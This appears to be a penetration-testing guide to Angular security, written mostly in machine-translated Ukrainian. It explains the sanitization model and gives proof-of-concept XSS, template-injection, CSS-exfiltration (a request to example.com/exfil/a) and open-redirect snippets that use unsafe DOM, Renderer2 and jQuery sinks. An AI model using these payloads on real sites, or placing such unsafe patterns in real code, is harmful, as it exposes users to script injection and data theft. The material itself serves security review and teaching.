Angular
Reading time: 17 minutes
The Checklist
Checklist from here.
- Angular вважається фреймворком на стороні клієнта і не очікується, що він забезпечить захист на стороні сервера
- Sourcemap для скриптів вимкнено в конфігурації проекту
- Ненадійний ввід користувача завжди інтерполюється або очищається перед використанням у шаблонах
- Користувач не має контролю над шаблонами на стороні сервера або клієнта
- Ненадійний ввід користувача очищається з використанням відповідного контексту безпеки перед тим, як бути довіреним додатком
-
BypassSecurity*
методи не використовуються з ненадійним ввідом -
Ненадійний ввід користувача не передається в класи Angular, такі як
ElementRef
,Renderer2
таDocument
, або інші JQuery/DOM sinks
What is Angular
Angular є потужним і відкритим фреймворком для фронтенду, який підтримується Google. Він використовує TypeScript для покращення читабельності коду та налагодження. Завдяки сильним механізмам безпеки, Angular запобігає поширеним вразливостям на стороні клієнта, таким як XSS та відкриті перенаправлення. Його також можна використовувати на стороні сервера, що робить питання безпеки важливими з обох сторін.
Framework architecture
In order to better understand the Angular basics, let’s go through its essential concepts.
Common Angular project usually looks like:
my-workspace/
├── ... #workspace-wide configuration files
├── src
│ ├── app
│ │ ├── app.module.ts #defines the root module, that tells Angular how to assemble the application
│ │ ├── app.component.ts #defines the logic for the application's root component
│ │ ├── app.component.html #defines the HTML template associated with the root component
│ │ ├── app.component.css #defines the base CSS stylesheet for the root component
│ │ ├── app.component.spec.ts #defines a unit test for the root component
│ │ └── app-routing.module.ts #provides routing capability for the application
│ ├── lib
│ │ └── src #library-specific configuration files
│ ├── index.html #main HTML page, where the component will be rendered in
│ └── ... #application-specific configuration files
├── angular.json #provides workspace-wide and project-specific configuration defaults
└── tsconfig.json #provides the base TypeScript configuration for projects in the workspace
Згідно з документацією, кожен Angular-додаток має принаймні один компонент, кореневий компонент (AppComponent
), який з'єднує ієрархію компонентів з DOM. Кожен компонент визначає клас, який містить дані та логіку додатка, і асоційований з HTML-шаблоном, який визначає вигляд, що має бути відображений у цільовому середовищі. Декоратор @Component()
ідентифікує клас безпосередньо під ним як компонент і надає шаблон та відповідну специфічну метадані компонента. AppComponent
визначено у файлі app.component.ts
.
Angular NgModules оголошують контекст компіляції для набору компонентів, який присвячений домену додатка, робочому процесу або тісно пов'язаному набору можливостей. Кожен Angular-додаток має кореневий модуль, звичайно названий AppModule
, який надає механізм завантаження, що запускає додаток. Додаток зазвичай містить багато функціональних модулів. AppModule
визначено у файлі app.module.ts
.
NgModule Angular Router
надає сервіс, який дозволяє визначити навігаційний шлях серед різних станів додатка та ієрархій виглядів у вашому додатку. RouterModule
визначено у файлі app-routing.module.ts
.
Для даних або логіки, які не пов'язані з конкретним виглядом і які ви хочете поділитися між компонентами, ви створюєте клас сервісу. Визначення класу сервісу безпосередньо передує декоратору @Injectable()
. Декоратор надає метадані, які дозволяють іншим провайдерам бути впровадженими як залежності у ваш клас. Впровадження залежностей (DI) дозволяє зберігати ваші класи компонентів стрункими та ефективними. Вони не отримують дані з сервера, не перевіряють введення користувача і не ведуть безпосередній лог до консолі; вони делегують такі завдання сервісам.
Налаштування sourcemap
Фреймворк Angular перекладає файли TypeScript у JavaScript-код, дотримуючись параметрів tsconfig.json
, а потім будує проект з конфігурацією angular.json
. Розглядаючи файл angular.json
, ми спостерігали опцію для увімкнення або вимкнення sourcemap. Згідно з документацією Angular, за замовчуванням конфігурація має файл sourcemap, увімкнений для скриптів, і за замовчуванням не прихований:
"sourceMap": {
"scripts": true,
"styles": true,
"vendor": false,
"hidden": false
}
Загалом, файли sourcemap використовуються для налагодження, оскільки вони відображають згенеровані файли на їх оригінальні файли. Тому не рекомендується використовувати їх у виробничому середовищі. Якщо sourcemaps увімкнено, це покращує читабельність і допомагає в аналізі файлів, відтворюючи оригінальний стан проекту Angular. Однак, якщо вони вимкнені, рецензент все ще може вручну проаналізувати скомпільований JavaScript файл, шукаючи антибезпекові шаблони.
Більш того, скомпільований JavaScript файл з проектом Angular можна знайти в інструментах розробника браузера → Sources (або Debugger і Sources) → [id].main.js. Залежно від увімкнених опцій, цей файл може містити наступний рядок в кінці //# sourceMappingURL=[id].main.js.map
або може не містити, якщо опція hidden встановлена на true. Проте, якщо sourcemap вимкнено для scripts, тестування стає більш складним, і ми не можемо отримати файл. Крім того, sourcemap може бути увімкнено під час збірки проекту, наприклад, ng build --source-map
.
Прив'язка даних
Прив'язка відноситься до процесу комунікації між компонентом і відповідним виглядом. Вона використовується для передачі даних до та з фреймворку Angular. Дані можуть передаватися різними способами, такими як через події, інтерполяцію, властивості або через механізм двосторонньої прив'язки. Більш того, дані також можуть бути спільними між пов'язаними компонентами (відношення батька і дитини) та між двома непов'язаними компонентами за допомогою функції Service.
Ми можемо класифікувати прив'язку за потоком даних:
- Джерело даних до цільового вигляду (включає інтерполяцію, властивості, атрибути, класи та стилі); може бути застосовано за допомогою
[]
або{{}}
у шаблоні; - Цільовий вигляд до джерела даних (включає події); може бути застосовано за допомогою
()
у шаблоні; - Двостороння; може бути застосовано за допомогою
[()]
у шаблоні.
Прив'язка може бути викликана на властивостях, подіях і атрибутах, а також на будь-якому публічному члені директиви джерела:
TYPE | TARGET | EXAMPLES |
---|---|---|
Property | Властивість елемента, Властивість компонента, Властивість директиви | <img [alt]="hero.name" [src]="heroImageUrl"> |
Event | Подія елемента, Подія компонента, Подія директиви | <button type="button" (click)="onSave()">Save |
Two-way | Подія та властивість | <input [(ngModel)]="name"> |
Attribute | Атрибут (виняток) | <button type="button" [attr.aria-label]="help">help |
Class | Властивість класу | <div [class.special]="isSpecial">Special |
Style | Властивість стилю | <button type="button" [style.color]="isSpecial ? 'red' : 'green'"> |
Модель безпеки Angular
Дизайн Angular включає кодування або санітизацію всіх даних за замовчуванням, що ускладнює виявлення та експлуатацію вразливостей XSS у проектах Angular. Існує два різних сценарії обробки даних:
- Інтерполяція або
{{user_input}}
- виконує контекстно-залежне кодування та інтерпретує введення користувача як текст;
//app.component.ts
test = "<script>alert(1)</script><h1>test</h1>";
//app.component.html
{{test}}
Результат: <script>alert(1)</script><h1>test</h1>
2. Прив'язка до властивостей, атрибутів, класів і стилів або [attribute]="user_input"
- виконує санітизацію на основі наданого контексту безпеки.
//app.component.ts
test = "<script>alert(1)</script><h1>test</h1>";
//app.component.html
<div [innerHtml]="test"></div>
Результат: <div><h1>test</h1></div>
Існує 6 типів SecurityContext
:
None
;HTML
використовується, коли інтерпретується значення як HTML;STYLE
використовується, коли прив'язується CSS до властивостіstyle
;URL
використовується для URL-властивостей, таких як<a href>
;SCRIPT
використовується для JavaScript коду;RESOURCE_URL
як URL, який завантажується та виконується як код, наприклад, у<script src>
.
Вразливості
Обхід методів безпеки
Angular вводить список методів для обходу свого стандартного процесу санітизації та для вказівки, що значення може бути використане безпечно в конкретному контексті, як у наступних п'яти прикладах:
bypassSecurityTrustUrl
використовується для вказівки, що дане значення є безпечним стилем URL:
//app.component.ts
this.trustedUrl = this.sanitizer.bypassSecurityTrustUrl('javascript:alert()');
//app.component.html
<a class="e2e-trusted-url" [href]="trustedUrl">Click me</a>
//result
<a _ngcontent-pqg-c12="" class="e2e-trusted-url" href="javascript:alert()">Click me</a>
bypassSecurityTrustResourceUrl
використовується для вказівки, що дане значення є безпечним ресурсом URL:
//app.component.ts
this.trustedResourceUrl = this.sanitizer.bypassSecurityTrustResourceUrl("https://www.google.com/images/branding/googlelogo/1x/googlelogo_light_color_272x92dp.png");
//app.component.html
<iframe [src]="trustedResourceUrl"></iframe>
//result
<img _ngcontent-nre-c12="" src="https://www.google.com/images/branding/googlelogo/1x/googlelogo_light_color_272x92dp.png">
bypassSecurityTrustHtml
використовується для вказівки, що дане значення є безпечним HTML. Зверніть увагу, що вставка елементівscript
у дерево DOM таким чином не призведе до виконання вкладеного JavaScript коду, через те, як ці елементи додаються до дерева DOM.
//app.component.ts
this.trustedHtml = this.sanitizer.bypassSecurityTrustHtml("<h1>html tag</h1><svg onclick=\"alert('bypassSecurityTrustHtml')\" style=display:block>blah</svg>");
//app.component.html
<p style="border:solid" [innerHtml]="trustedHtml"></p>
//result
<h1>html tag</h1>
<svg onclick="alert('bypassSecurityTrustHtml')" style="display:block">blah</svg>
bypassSecurityTrustScript
використовується для вказівки, що дане значення є безпечним JavaScript. Однак, ми виявили, що його поведінка є непередбачуваною, оскільки ми не змогли виконати JS код у шаблонах, використовуючи цей метод.
//app.component.ts
this.trustedScript = this.sanitizer.bypassSecurityTrustScript("alert('bypass Security TrustScript')");
//app.component.html
<script [innerHtml]="trustedScript"></script>
//result
-
bypassSecurityTrustStyle
використовується для вказівки, що дане значення є безпечним CSS. Наступний приклад ілюструє ін'єкцію CSS:
//app.component.ts
this.trustedStyle = this.sanitizer.bypassSecurityTrustStyle('background-image: url(https://example.com/exfil/a)');
//app.component.html
<input type="password" name="pwd" value="01234" [style]="trustedStyle">
//result
Request URL: GET example.com/exfil/a
Angular надає метод sanitize
для санітизації даних перед їх відображенням у виглядах. Цей метод використовує наданий контекст безпеки та очищає введення відповідно. Однак, важливо використовувати правильний контекст безпеки для конкретних даних і контексту. Наприклад, застосування санітайзера з SecurityContext.URL
до HTML контенту не забезпечує захисту від небезпечних HTML значень. У таких сценаріях неправильне використання контексту безпеки може призвести до вразливостей XSS.
Ін'єкція HTML
Ця вразливість виникає, коли введення користувача прив'язується до будь-якої з трьох властивостей: innerHTML
, outerHTML
або iframe
srcdoc
. Хоча прив'язка до цих атрибутів інтерпретує HTML як є, введення очищається за допомогою SecurityContext.HTML
. Таким чином, ін'єкція HTML можлива, але міжсайтове скриптування (XSS) не є.
Приклад використання innerHTML
:
//app.component.ts
import { Component} from '@angular/core';
@Component({
selector: 'app-root',
templateUrl: './app.component.html'
})
export class AppComponent{
//define a variable with user input
test = "<script>alert(1)</script><h1>test</h1>";
}
//app.component.html
<div [innerHTML]="test"></div>
Ін'єкція шаблонів
Візуалізація на стороні клієнта (CSR)
Angular використовує шаблони для динамічного створення сторінок. Цей підхід передбачає обгортання виразів шаблону для оцінки Angular в подвійні фігурні дужки ({{}}
). Таким чином, фреймворк пропонує додаткову функціональність. Наприклад, шаблон {{1+1}}
відобразиться як 2.
Зазвичай Angular екранує введення користувача, яке може бути сплутане з виразами шаблону (наприклад, символи такі як `< > ' " ``). Це означає, що для обходу цього обмеження потрібні додаткові кроки, такі як використання функцій, які генерують об'єкти рядків JavaScript, щоб уникнути використання заборонених символів. Однак, щоб досягти цього, ми повинні враховувати контекст Angular, його властивості та змінні. Тому атака ін'єкції шаблону може виглядати наступним чином:
//app.component.ts
const _userInput = '{{constructor.constructor(\'alert(1)\'()}}'
@Component({
selector: 'app-root',
template: '<h1>title</h1>' + _userInput
})
Як показано вище: constructor
посилається на область видимості властивості Object constructor
, що дозволяє нам викликати конструктор String і виконувати довільний код.
Серверне рендеринг (SSR)
На відміну від CSR, яке відбувається в DOM браузера, Angular Universal відповідає за SSR шаблонних файлів. Ці файли потім доставляються користувачу. Незважаючи на це відмінність, Angular Universal застосовує ті ж механізми санітизації, що використовуються в CSR, для підвищення безпеки SSR. Вразливість ін'єкції шаблону в SSR можна виявити так само, як і в CSR, оскільки використовувана мова шаблонів є такою ж.
Звичайно, також існує можливість введення нових вразливостей ін'єкції шаблону при використанні сторонніх шаблонних движків, таких як Pug і Handlebars.
XSS
Інтерфейси DOM
Як вже зазначалося, ми можемо безпосередньо отримати доступ до DOM, використовуючи інтерфейс Document. Якщо введення користувача не перевіряється заздалегідь, це може призвести до вразливостей міжсайтового скриптингу (XSS).
Ми використовували методи document.write()
і document.createElement()
в наведених нижче прикладах:
//app.component.ts 1
import { Component} from '@angular/core';
@Component({
selector: 'app-root',
template: ''
})
export class AppComponent{
constructor () {
document.open();
document.write("<script>alert(document.domain)</script>");
document.close();
}
}
//app.component.ts 2
import { Component} from '@angular/core';
@Component({
selector: 'app-root',
template: ''
})
export class AppComponent{
constructor () {
var d = document.createElement('script');
var y = document.createTextNode("alert(1)");
d.appendChild(y);
document.body.appendChild(d);
}
}
//app.component.ts 3
import { Component} from '@angular/core';
@Component({
selector: 'app-root',
template: ''
})
export class AppComponent{
constructor () {
var a = document.createElement('img');
a.src='1';
a.setAttribute('onerror','alert(1)');
document.body.appendChild(a);
}
}
Angular класи
Є кілька класів, які можна використовувати для роботи з елементами DOM в Angular: ElementRef
, Renderer2
, Location
та Document
. Детальний опис останніх двох класів наведено в розділі Open redirects. Основна різниця між першими двома полягає в тому, що API Renderer2
забезпечує рівень абстракції між елементом DOM та кодом компонента, тоді як ElementRef
просто містить посилання на елемент. Тому, згідно з документацією Angular, API ElementRef
слід використовувати лише в крайньому випадку, коли потрібен прямий доступ до DOM.
ElementRef
містить властивістьnativeElement
, яка може бути використана для маніпуляції елементами DOM. Однак неправильне використанняnativeElement
може призвести до вразливості XSS, як показано нижче:
//app.component.ts
import { Component, ElementRef, ViewChild, AfterViewInit } from '@angular/core';
@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent {
...
constructor(private elementRef: ElementRef) {
const s = document.createElement('script');
s.type = 'text/javascript';
s.textContent = 'alert("Hello World")';
this.elementRef.nativeElement.appendChild(s);
}
}
- Незважаючи на те, що
Renderer2
надає API, який можна безпечно використовувати навіть коли прямий доступ до рідних елементів не підтримується, він все ще має деякі недоліки в безпеці. ЗRenderer2
можна встановлювати атрибути на HTML-елемент за допомогою методуsetAttribute()
, який не має механізмів запобігання XSS.
//app.component.ts
import {Component, Renderer2, ElementRef, ViewChild, AfterViewInit } from '@angular/core';
@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent {
public constructor (
private renderer2: Renderer2
){}
@ViewChild("img") img!: ElementRef;
addAttribute(){
this.renderer2.setAttribute(this.img.nativeElement, 'src', '1');
this.renderer2.setAttribute(this.img.nativeElement, 'onerror', 'alert(1)');
}
}
//app.component.html
<img #img>
<button (click)="setAttribute()">Click me!</button>
- Щоб встановити властивість елемента DOM, ви можете використовувати метод
Renderer2.setProperty()
і спровокувати атаку XSS:
//app.component.ts
import {Component, Renderer2, ElementRef, ViewChild, AfterViewInit } from '@angular/core';
@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent {
public constructor (
private renderer2: Renderer2
){}
@ViewChild("img") img!: ElementRef;
setProperty(){
this.renderer2.setProperty(this.img.nativeElement, 'innerHTML', '<img src=1 onerror=alert(1)>');
}
}
//app.component.html
<a #a></a>
<button (click)="setProperty()">Click me!</button>
Під час нашого дослідження ми також вивчили поведінку інших методів Renderer2
, таких як setStyle()
, createComment()
та setValue()
, у відношенні до XSS та CSS-ін'єкцій. Однак ми не змогли знайти жодних дійсних векторів атак для цих методів через їх функціональні обмеження.
jQuery
jQuery - це швидка, мала та багатофункціональна бібліотека JavaScript, яку можна використовувати в проекті Angular для допомоги в маніпуляції HTML DOM об'єктами. Однак, як відомо, методи цієї бібліотеки можуть бути використані для досягнення вразливості XSS. Щоб обговорити, як деякі вразливі методи jQuery можуть бути використані в проектах Angular, ми додали цей підрозділ.
- Метод
html()
отримує HTML вміст першого елемента в наборі відповідних елементів або встановлює HTML вміст кожного відповідного елемента. Однак за дизайном будь-який конструктор або метод jQuery, який приймає HTML рядок, може потенційно виконувати код. Це може статися через ін'єкцію<script>
тегів або використання HTML атрибутів, які виконують код, як показано в прикладі.
//app.component.ts
import { Component, OnInit } from '@angular/core';
import * as $ from 'jquery';
@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent implements OnInit
{
ngOnInit()
{
$("button").on("click", function()
{
$("p").html("<script>alert(1)</script>");
});
}
}
//app.component.html
<button>Click me</button>
<p>some text here</p>
- Метод
jQuery.parseHTML()
використовує рідні методи для перетворення рядка в набір DOM вузлів, які потім можуть бути вставлені в документ.
jQuery.parseHTML(data [, context ] [, keepScripts ])
Як вже згадувалося, більшість API jQuery, які приймають HTML рядки, виконуватимуть скрипти, які включені в HTML. Метод jQuery.parseHTML()
не виконує скрипти в проаналізованому HTML, якщо keepScripts
явно не встановлено в true
. Однак у більшості середовищ все ще можливо виконати скрипти непрямо; наприклад, через атрибут <img onerror>
.
//app.component.ts
import { Component, OnInit } from '@angular/core';
import * as $ from 'jquery';
@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent implements OnInit
{
ngOnInit()
{
$("button").on("click", function()
{
var $palias = $("#palias"),
str = "<img src=1 onerror=alert(1)>",
html = $.parseHTML(str),
nodeNames = [];
$palias.append(html);
});
}
}
//app.component.html
<button>Click me</button>
<p id="palias">some text</p>
Open redirects
DOM інтерфейси
Згідно з документацією W3C, об'єкти window.location
та document.location
розглядаються як псевдоніми в сучасних браузерах. Саме тому вони мають подібну реалізацію деяких методів і властивостей, що може призвести до відкритого перенаправлення та DOM XSS з атаками за схемою javascript://
, як зазначено нижче.
window.location.href
(іdocument.location.href
)
Канонічний спосіб отримати поточний об'єкт місцезнаходження DOM - це використання window.location
. Його також можна використовувати для перенаправлення браузера на нову сторінку. В результаті контроль над цим об'єктом дозволяє нам експлуатувати вразливість відкритого перенаправлення.
//app.component.ts
...
export class AppComponent {
goToUrl(): void {
window.location.href = "https://google.com/about"
}
}
//app.component.html
<button type="button" (click)="goToUrl()">Click me!</button>
Процес експлуатації ідентичний для наступних сценаріїв.
window.location.assign()
(іdocument.location.assign()
)
Цей метод змушує вікно завантажувати та відображати документ за вказаною URL-адресою. Якщо ми контролюємо цей метод, це може бути джерелом атаки відкритого перенаправлення.
//app.component.ts
...
export class AppComponent {
goToUrl(): void {
window.location.assign("https://google.com/about")
}
}
window.location.replace()
(іdocument.location.replace()
)
Цей метод замінює поточний ресурс на той, що за вказаною URL-адресою.
Це відрізняється від методу assign()
, оскільки після використання window.location.replace()
поточна сторінка не буде збережена в історії сеансу. Однак також можливо експлуатувати вразливість відкритого перенаправлення, коли ми контролюємо цей метод.
//app.component.ts
...
export class AppComponent {
goToUrl(): void {
window.location.replace("http://google.com/about")
}
}
window.open()
Метод window.open()
приймає URL-адресу та завантажує ресурс, який він ідентифікує, у новій або існуючій вкладці чи вікні. Контроль над цим методом також може бути можливістю спровокувати вразливість XSS або відкритого перенаправлення.
//app.component.ts
...
export class AppComponent {
goToUrl(): void {
window.open("https://google.com/about", "_blank")
}
}
Angular класи
- Згідно з документацією Angular, Angular
Document
є тим же, що й документ DOM, що означає, що можна використовувати загальні вектори для документа DOM для експлуатації вразливостей на стороні клієнта в Angular. Властивості та методиDocument.location
можуть бути джерелами успішних атак відкритого перенаправлення, як показано в прикладі:
//app.component.ts
import { Component, Inject } from '@angular/core';
import { DOCUMENT } from '@angular/common';
@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent {
constructor(@Inject(DOCUMENT) private document: Document) { }
goToUrl(): void {
this.document.location.href = 'https://google.com/about';
}
}
//app.component.html
<button type="button" (click)="goToUrl()">Click me!</button>
- Під час дослідження ми також переглянули клас Angular
Location
на предмет вразливостей відкритого перенаправлення, але жодних дійсних векторів не було знайдено.Location
- це сервіс Angular, який програми можуть використовувати для взаємодії з поточною URL-адресою браузера. Цей сервіс має кілька методів для маніпуляції заданою URL-адресою -go()
,replaceState()
таprepareExternalUrl()
. Однак ми не можемо використовувати їх для перенаправлення на зовнішній домен. Наприклад:
//app.component.ts
import { Component, Inject } from '@angular/core';
import {Location, LocationStrategy, PathLocationStrategy} from '@angular/common';
@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css'],
providers: [Location, {provide: LocationStrategy, useClass: PathLocationStrategy}],
})
export class AppComponent {
location: Location;
constructor(location: Location) {
this.location = location;
}
goToUrl(): void {
console.log(this.location.go("http://google.com/about"));
}
}
Результат: http://localhost:4200/http://google.com/about
- Клас Angular
Router
в основному використовується для навігації в межах одного домену і не вводить жодних додаткових вразливостей у додаток:
//app-routing.module.ts
const routes: Routes = [
{ path: '', redirectTo: 'https://google.com', pathMatch: 'full' }]
Результат: http://localhost:4200/https:
Наступні методи також навігують в межах домену:
const routes: Routes = [ { path: '', redirectTo: 'ROUTE', pathMatch: 'prefix' } ]
this.router.navigate(['PATH'])
this.router.navigateByUrl('URL')
Посилання
- Angular
- Angular Security: The Definitive Guide (Part 1)
- Angular Security: The Definitive Guide (Part 2)
- Angular Security: The Definitive Guide (Part 3)
- Angular Security: Checklist
- Workspace and project file structure
- Introduction to components and templates
- Source map configuration
- Binding syntax
- Angular Context: Easy Data-Binding for Nested Component Trees and the Router Outlet
- Sanitization and security contexts
- GitHub - angular/dom_security_schema.ts
- XSS in Angular and AngularJS
- Angular Universal
- DOM XSS
- Angular ElementRef
- Angular Renderer2
- Renderer2 Example: Manipulating DOM in Angular - TekTutorialsHub
- jQuery API Documentation
- How To Use jQuery With Angular (When You Absolutely Have To)
- Angular Document
- Angular Location
- Angular Router